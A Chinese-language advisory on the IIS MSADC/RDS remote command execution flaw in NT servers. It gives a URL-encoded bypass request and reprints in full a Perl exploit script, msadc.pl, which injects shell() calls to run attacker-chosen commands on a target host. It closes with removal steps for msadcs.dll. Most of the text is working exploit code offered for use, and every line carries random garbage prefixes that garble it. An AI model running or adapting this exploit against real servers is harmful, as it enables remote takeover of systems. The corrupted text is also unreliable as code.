IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
!E T~KL! ZcaX'5} !S 涉及程序：
[o?* "c Microsoft NT server
6H'HxB4 48Mpf=f` 描述：
Ox@sI:CT 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
~V$ |i" Dq)j:f#QM 详细：
c
9jGq 如果你没有时间读详细内容的话，就删除:
DG ?"5:Zd c:\Program Files\Common Files\System\Msadc\msadcs.dll
/ 4lvP 有关的安全问题就没有了。
v'BZs =KR
NvW 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
7PkJ-JBA 0@EwM 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
;6!Pwb;hY 关于利用ODBC远程漏洞的描述，请参看:
Op_RzZP` 0C>%LJ8r http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Q_t`.jus k2AJXw 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
6qp%$>$Vt; http://www.microsoft.com/security/bulletins/MS99-025faq.asp AGbhJ=tB LU 9A# 这里不再论述。
#b~JD O( *f?4
3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
?`4+c x}n E>}4$q[r /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
VP6ZiQ| 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
CXC`sPY &cu lbcz Z"A Qp _ #将下面这段保存为txt文件，然后: "perl -x 文件名"
h}xeChw] 3.qTLga|} #!perl
? 8LX P #
l'3 pQ; # MSADC/RDS 'usage' (aka exploit) script
xQ@^$_ #
R[;z X(y # by rain.forest.puppy
>>5NX"{ #
=|YxDas # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Q_Gi]M9 # beta test and find errors!
7bV{Q355P Q V&D l_ use Socket; use Getopt::Std;
|0%+wB getopts("e:vd:h:XR", \%args);
E~_]Lfs) / <]{KI print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
/=gOa\k|p x(eb5YS if (!defined $args{h} && !defined $args{R}) {
k0Uyf~p~ print qq~
0eS)&GdR Usage: msadc.pl -h <host> { -d <delay> -X -v }
rhb@FE)Mc -h <host> = host you want to scan (ip or domain)
7IjQi=#: -d <seconds> = delay between calls, default 1 second
&Y^WP?HS -X = dump Index Server path table, if available
q2et|QCru -v = verbose
'FS?a -e = external dictionary file for step 5
Q J7 L7S KFFSv{m[ Or a -R will resume a command session
)}_a
0bt &Ky_v^ ~; exit;}
T.qNCJmB ?|ZTaX6A $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
|H! 9fZO if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
*Otg* , \ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
ME=/|.}D< if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
PfZ+PqS $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
F<(i.o( if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
U\sHx68 ^*fxR]Y if (!defined $args{R}){ $ret = &has_msadc;
tT79 p.z B die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
{4-[r#R<M iT)z_ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
q=9`06 . "cmd /c ";
X B_ B4X1R $in=<STDIN>; chomp $in;
<!pvqNApg $command="cmd /c " . $in ;
"^1L'4'S KR%{a(V;7 if (defined $args{R}) {&load; exit;}
V} zEK0n(6 +
Q6l*:<|c print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
qVs\Y3 u( &try_btcustmr;
<fs2fTUeqF U2%.S&wS,e print "\nStep 2: Trying to make our own DSN...";
?Sb8@S&J &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
<En gi ! fks)+L ' print "\nStep 3: Trying known DSNs...";
q/4 [3h &known_dsn;
z1Ov|Q` DK
o N}c print "\nStep 4: Trying known .mdbs...";
<3j"&i]Tm* &known_mdb;
hnznp1[#@ ]7Z{ 8)T if (defined $args{e}){
&wB\ ~Ie- print "\nStep 5: Trying dictionary of DSN names...";
R+7oRXsu &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
>X51$ wBL <2nZ&M4/s{ print "Sorry Charley...maybe next time?\n";
DSj(]U~r exit;
t>uN'oCyC LbII?N8`N ##############################################################################
s-S }i{Z! O%ug@& S{ sub sendraw { # ripped and modded from whisker
3 S&U! sleep($delay); # it's a DoS on the server! At least on mine...
"jaJr5Wv=y my ($pstr)=@_;
"C*B,D*}: socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
sIv)' die("Socket problems\n");
{Ixg2=E\ if(connect(S,pack "SnA4x8",2,80,$target)){
H&yD*@ select(S); $|=1;
I=!rbF;Z print $pstr; my @in=<S>;
2>l,no39t+ select(STDOUT); close(S);
8L1oh j return @in;
VG>vn`x>a } else { die("Can't connect...\n"); }}
:(_+7N[KA 8j4z{+'TQ ##############################################################################
^`D=GF^tX +L=*:e\j sub make_header { # make the HTTP request
$:of=WTY( my $msadc=<<EOT
E~kG2x{a POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ZY56\qcY User-Agent: ACTIVEDATA
c c Host: $ip
M+!x}$ &v Content-Length: $clen
SZ _V^UX_ Connection: Keep-Alive
BJS-Jy$- Tb1U ^E: ADCClientVersion:01.06
U/NBFc:[y: Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
u(!&:A9JFd ` .2h jO --!ADM!ROX!YOUR!WORLD!
LA[g(i 7 Content-Type: application/x-varg
WX4;l(P L= Content-Length: $reqlen
-TV?E%r ph2$oO
6, EOT
"+uN mUUnm ; $msadc=~s/\n/\r\n/g;
;;)`c/$ return $msadc;}
/Ky__l!bu Y\=FLO9 ##############################################################################
"EV!>^Z NS C/@._ sub make_req { # make the RDS request
J # kl
7 my ($switch, $p1, $p2)=@_;
1h7+@#<:a my $req=""; my $t1, $t2, $query, $dsn;
{5|("0[F 8by@iQ if ($switch==1){ # this is the btcustmr.mdb query
t]-uw-E $query="Select * from Customers where City=" . make_shell();
[= "r<W0 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
V|>oGtt7 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Q 7 bq
<:|3rfm# elsif ($switch==2){ # this is general make table query
_e!F~V. $query="create table AZZ (B int, C varchar(10))";
\b*X:3g* $dsn="$p1";}
8Q)@ +([!A6:
elsif ($switch==3){ # this is general exploit table query
H UWxPIu $query="select * from AZZ where C=" . make_shell();
H@uE> $dsn="$p1";}
OU7 %V)X5 l?*r5[O>n elsif ($switch==4){ # attempt to hork file info from index server
_DP|-bp D $query="select path from scope()";
+1 eCvt:, $dsn="Provider=MSIDXS;";}
y/c%+ Ca/ #&,H"?" elsif ($switch==5){ # bad query
Rb}KZ+o "Z $query="select";
OV k ~ N) $dsn="$p1";}
2yo
cu!4l A 699FQ $t1= make_unicode($query);
x6'^4y] ) $t2= make_unicode($dsn);
TQ9D68
, $req = "\x02\x00\x03\x00";
1f (DU4h $req.= "\x08\x00" . pack ("S1", length($t1));
$A<ESfrs $req.= "\x00\x00" . $t1 ;
C0x "pO7 $req.= "\x08\x00" . pack ("S1", length($t2));
E&~nps8e $req.= "\x00\x00" . $t2 ;
eUO9 a~< $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
KbxR
Lx]w return $req;}
dv
N<5~ {fSf q&o ##############################################################################
EqM;LgE= 8r bG*6 sub make_shell { # this makes the shell() statement
+1; 'B4 return "'|shell(\"$command\")|'";}
X21d X`eMN w>~M}Ahj ##############################################################################
o `r(`6@ W$?e<@ sub make_unicode { # quick little function to convert to unicode
D>wZ0p b- my ($in)=@_; my $out;
KhM.Tc for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
XY+y}D
% return $out;}
CP`
XUpX`& V{Q k N7- ##############################################################################
>[*4Tjg h
; kfh. sub rdo_success { # checks for RDO return success (this is kludge)
W."f 8ow my (@in) = @_; my $base=content_start(@in);
i</J @0}y if($in[$base]=~/multipart\/mixed/){
F;D1F+S return 1 if( $in[$base+10]=~/^\x09\x00/ );}
H}b\`N[nr return 0;}
=3ADT$YHd z \?UGxu} ##############################################################################
?~2Bi^ W5 %%g-GyP
1 sub make_dsn { # this makes a DSN for us
E8-53"m my @drives=("c","d","e","f");
LD55n%|0`H print "\nMaking DSN: ";
[!?wyv3 foreach $drive (@drives) {
Gq]d:-7l print "$drive: ";
d5U; $q{o my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
HcJE0- " "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
7U:=~7GH . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
& :!ij $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
+{rJ[J/g return 0 if $2 eq "404"; # not found/doesn't exist
Y%IJ8P^Y if($2 eq "200") {
k:P$LzIB foreach $line (@results) {
NJ$e6$g) return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
!A[S6-18%- } return 0;}
l \}25
e fS./y=j(X ##############################################################################
4r*Pa(;y 6An{3 " sub verify_exists {
oBw}hH,hp my ($page)=@_;
#?m {YT{P my @results=sendraw("GET $page HTTP/1.0\n\n");
R `Qp d3 return $results[0];}
G?[-cNdk t:9
ZCu ay ##############################################################################
;c)! @GoA l10-XU02 sub try_btcustmr {
#Wx=v$" my @drives=("c","d","e","f");
jYdV?B my @dirs=("winnt","winnt35","winnt351","win","windows");
/ c^e& D X,Zd= foreach $dir (@dirs) {
BkT-m'I? print "$dir -> "; # fun status so you can see progress
Ej|A
; &E foreach $drive (@drives) {
A\ C'dZ <N print "$drive: "; # ditto
-kc(u1! $reqlen=length( make_req(1,$drive,$dir) ) - 28;
D qr9Vv $reqlenlen=length( "$reqlen" );
q
u:To7 $clen= 206 + $reqlenlen + $reqlen;
Nu+wL>t 2[BA( B my @results=sendraw(make_header() . make_req(1,$drive,$dir));
lA4hm4"i(, if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
`]hCUaV else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
x@ 6\Ob ) MBS ##############################################################################
TF)8qHy! u pe#*I/)b sub odbc_error {
iUCwKpb9 my (@in)=@_; my $base;
5m 3'Gt4 my $base = content_start(@in);
P#F_>GB if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
\6 LcV ik $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<O
bH f`Q $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
um}N%5GAa $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
QqjTL uN return $in[$base+4].$in[$base+5].$in[$base+6];}
1!f2*m print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
rr)9Y][l} print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
7 BK46x $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
X{s/``n *G9
[j$ ##############################################################################
/evaTQPz Z]p8IH%~92 sub verbose {
gb9[Meg' my ($in)=@_;
W RY~fM return if !$verbose;
L-M iaKc L print STDOUT "\n$in\n";}
V-:`+&S{^ ] 'E}
##############################################################################
6 _Fpca3L L EA;dSf sub save {
@n>{&^-c my ($p1, $p2, $p3, $p4)=@_;
?{n>EvLY open(OUT, ">rds.save") || print "Problem saving parameters...\n";
!HvGlj@(| print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
.u&|e close OUT;}
TXx'7[ yX3PUO9 ##############################################################################
O <bDU0s{M 9ec0 ^T sub load {
U~Xf= f_Q$ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\!m!ibr open(IN,"<rds.save") || die("Couldn't open rds.save\n");
~DK F%}E @p=<IN>; close(IN);
(}sDm ~;s $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
vs+ We*8H $target= inet_aton($ip) || die("inet_aton problems");
p[_Yi0U print "Resuming to $ip ...";
yW[L,N7d $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
HUK" OH if($p[1]==1) {
vT&j{2U7XW $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$R8>u#K! $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
]v<d0" 2 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
' n>EEQyp' if (rdo_success(@results)){print "Success!\n";}
B<(Pd else { print "failed\n"; verbose(odbc_error(@results));}}
o; 6fvn elsif ($p[1]==3){
r(p wOO x if(run_query("$p[3]")){
ZK%Kgk[\:~ print "Success!\n";} else { print "failed\n"; }}
q^)=F_QvG elsif ($p[1]==4){
]s f2"~v if(run_query($drvst . "$p[3]")){
4 0p3Rv print "Success!\n"; } else { print "failed\n"; }}
Gg'<Q.H exit;}
@< wYT$ \nrgAC-b ##############################################################################
"[#@;{@Gt 'y'T'2N3 sub create_table {
@gH(/pFX my ($in)=@_;
U? {'n#n 5 $reqlen=length( make_req(2,$in,"") ) - 28;
=fL6uFmxI@ $reqlenlen=length( "$reqlen" );
aytq4Ts $clen= 206 + $reqlenlen + $reqlen;
,}eRnl\ my @results=sendraw(make_header() . make_req(2,$in,""));
dMey/A/VYt return 1 if rdo_success(@results);
tZdwy> ; my $temp= odbc_error(@results); verbose($temp);
j2< !z;2 return 1 if $temp=~/Table 'AZZ' already exists/;
JZW gr&O< return 0;}
S`ax*` unC t4uX^ ##############################################################################
#;wkr)) Pz5ebhgq sub known_dsn {
Y1#- ^, qg # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
EC^Ev|PB\u my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
y jGGqz$ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
[?Mc4uT{ "banner", "banners", "ads", "ADCDemo", "ADCTest");
) j{WeG7L Y1$ #KC foreach $dSn (@dsns) {
,`ZPtnH+ print ".";
+io;K]C next if (!is_access("DSN=$dSn"));
2$o2.$i81 if(create_table("DSN=$dSn")){
d9`3EP)n print "$dSn successful\n";
H.j LGe> if(run_query("DSN=$dSn")){
54`bE$:+ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%E4$ZPSW print "Something's borked. Use verbose next time\n";}}} print "\n";}
n@G:e-m{A +O;OSZ ##############################################################################
zF[3%qZE:T E9L!O.Q sub is_access {
UgF ) J my ($in)=@_;
g`%ED0 aR $reqlen=length( make_req(5,$in,"") ) - 28;
:pA=V $reqlenlen=length( "$reqlen" );
s [0prm5. $clen= 206 + $reqlenlen + $reqlen;
",MK'\E my @results=sendraw(make_header() . make_req(5,$in,""));
c ,6<7 my $temp= odbc_error(@results);
c7FfI"7HR verbose($temp); return 1 if ($temp=~/Microsoft Access/);
t-v^-# return 0;}
DiZ!c "$ LU-#=1Q ##############################################################################
'0'"k2"vC jw`&Np2Q sub run_query {
ROJ'-Vde9 my ($in)=@_;
JL"
3#p} $reqlen=length( make_req(3,$in,"") ) - 28;
#U ",,*2 $reqlenlen=length( "$reqlen" );
oiTMP`Y $clen= 206 + $reqlenlen + $reqlen;
hO+O0=$}wN my @results=sendraw(make_header() . make_req(3,$in,""));
D{,[ \^c return 1 if rdo_success(@results);
/tI d#/Y my $temp= odbc_error(@results); verbose($temp);
J[<D /WIH return 0;}
eHF(,JI 42n@:5`{+ ##############################################################################
D+*uKldS; bWX[<rh' sub known_mdb {
bMK#^ZoH my @drives=("c","d","e","f","g");
4e(9@OLP my @dirs=("winnt","winnt35","winnt351","win","windows");
!T#8N7J> my $dir, $drive, $mdb;
0I(GB;E my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[B2>*UPl 4'}_qAT # this is sparse, because I don't know of many
Pv{,aV\I} my @sysmdbs=( "\\catroot\\icatalog.mdb",
'y+bx?3Z "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
%U=S6<lbj; "\\system32\\certmdb.mdb",
i-i}`oN "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
RAD4q"}k < 6}f2^ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
={mPg+Ei' "\\cfusion\\cfapps\\forums\\forums_.mdb",
W[1 f]w3 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
7(|3 O R+ "\\cfusion\\cfapps\\security\\realm_.mdb",
iS:PRa1 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
XoH [MJC "\\cfusion\\database\\cfexamples.mdb",
e~>p.l "\\cfusion\\database\\cfsnippets.mdb",
U'h[ {ek "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
! 5E%W[ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
!q=Q~ ea "\\cfusion\\brighttiger\\database\\cleam.mdb",
V\rIN}7 "\\cfusion\\database\\smpolicy.mdb",
u]]5p[ |S "\\cfusion\\database\cypress.mdb",
v8 '`gY "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
>F\rBc& "\\website\\cgi-win\\dbsample.mdb",
v'bd.eqw "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
{'c%#\ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
>jrz;r ); #these are just
-u3SsU)_%N foreach $drive (@drives) {
~*cY& 9 foreach $dir (@dirs){
FkxhEat8 foreach $mdb (@sysmdbs) {
>QZt)<[ print ".";
|S>J<]H
p if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
tXG4A$(2& print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
N?mY|x\}wK if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
4|@FO}rK[l print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
tO+ %b=Z^ } else { print "Something's borked. Use verbose next time\n"; }}}}}
jB/q1vFO O275AxaN
foreach $drive (@drives) {
E/L?D foreach $mdb (@mdbs) {
{HRxyAI! print ".";
9i2vWSga if(create_table($drv . $drive . $dir . $mdb)){
'/yx_R K2? print "\n" . $drive . $dir . $mdb . " successful\n";
^?^|Y?f2P? if(run_query($drv . $drive . $dir . $mdb)){
;5oH6{7_Z print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
LnRi+n[@7 } else { print "Something's borked. Use verbose next time\n"; }}}}
t6L^
#\' }
Dpp52UnT E aIt
0;D ##############################################################################
1(;33),P8 ++{+
#s6 sub hork_idx {
[>Kx m print "\nAttempting to dump Index Server tables...\n";
sm&rR=b print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
|_xiG~ $reqlen=length( make_req(4,"","") ) - 28;
%wjU^Urya $reqlenlen=length( "$reqlen" );
LN6 JH ! $clen= 206 + $reqlenlen + $reqlen;
#u=O 5%. my @results=sendraw2(make_header() . make_req(4,"",""));
Dgq[ g_+l if (rdo_success(@results)){
wmcp`8w. my $max=@results; my $c; my %d;
E Pd.at A for($c=19; $c<$max; $c++){
O*n%2Ma m $results[$c]=~s/\x00//g;
98%tws` $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
5$"[gdt)T $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
v!'@NW_ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
gmAKW4( $d{"$1$2"}="";}
$
p1EqVu foreach $c (keys %d){ print "$c\n"; }
J0W XH/: } else {print "Index server doesn't seem to be installed.\n"; }}
k;:u| s8NS )J6b:W ##############################################################################
NMY!-Kv 5 +q=jB-eIx sub dsn_dict {
}9Dv\"t5 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
V_d%g<n4 while(<IN>){
&lfF!
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
G-i_s6Wu next if (!is_access("DSN=$dSn"));
FivaCNA if(create_table("DSN=$dSn")){
ZE(RvPW print "$dSn successful\n";
{)[g if(run_query("DSN=$dSn")){
yExyx?j. print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.- 26 N6S print "Something's borked. Use verbose next time\n";}}}
=$ zr
t print "\n"; close(IN);}
I/-w65J] <@j ##############################################################################
wG[l9)lz ` M<G8ob sub sendraw2 { # ripped and modded from whisker
+bd{W]={ sleep($delay); # it's a DoS on the server! At least on mine...
Ay6rUN1ef my ($pstr)=@_;
;Wh[q*A socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Sm_:SF!<D6 die("Socket problems\n");
6)< o O( if(connect(S,pack "SnA4x8",2,80,$target)){
VM|)\?Q print "Connected. Getting data";
cWy0N open(OUT,">raw.out"); my @in;
W2(=m!:U select(S); $|=1; print $pstr;
44{:UhJkx while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
k#+^=F^)I close(OUT); select(STDOUT); close(S); return @in;
R#bV/7Ol } else { die("Can't connect...\n"); }}
G8 -d%O p 128 rl y ##############################################################################
;RZa<2 n ?fC_dy
sub content_start { # this will take in the server headers
l+X^x%EA my (@in)=@_; my $c;
p
8Hv7* for ($c=1;$c<500;$c++) {
(xJBN ?NRO if($in[$c] =~/^\x0d\x0a/){
2xBGs9_Y if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
= |zLr" else { return $c+1; }}}
DYk->)
return -1;} # it should never get here actually
x T( .#9 J@{ Bv% ##############################################################################
.%h_W\M<l 8>+eGz| sub funky {
V"p*Jd"w my (@in)=@_; my $error=odbc_error(@in);
[/^g) ^s: if($error=~/ADO could not find the specified provider/){
|8+rUFkU8 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
]V\ g$@ exit;}
n{* [Y
if($error=~/A Handler is required/){
Dp'af4+%$ print "\nServer has custom handler filters (they most likely are patched)\n";
hrxASAfg6 exit;}
Ps,w(k{d if($error=~/specified Handler has denied Access/){
L7="! I print "\nServer has custom handler filters (they most likely are patched)\n";
yE/I)GOQjs exit;}}
}E_zW.{! F&Z>B}; ##############################################################################
%j`]x
-aOz s A j$U^Gp sub has_msadc {
cv& hT.1 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
%tjEVQa my $base=content_start(@results);
wQ95tN return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
R|yT UGY return 0;}
L(YT6Vmm+t @XJv9aq ########################
I!%@|[ Ow Y*Rqgpu
$
ON^u|*kO 解决方案：
#`EMK 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
oOw"k*,h:S 2、移除web 目录: /msadc
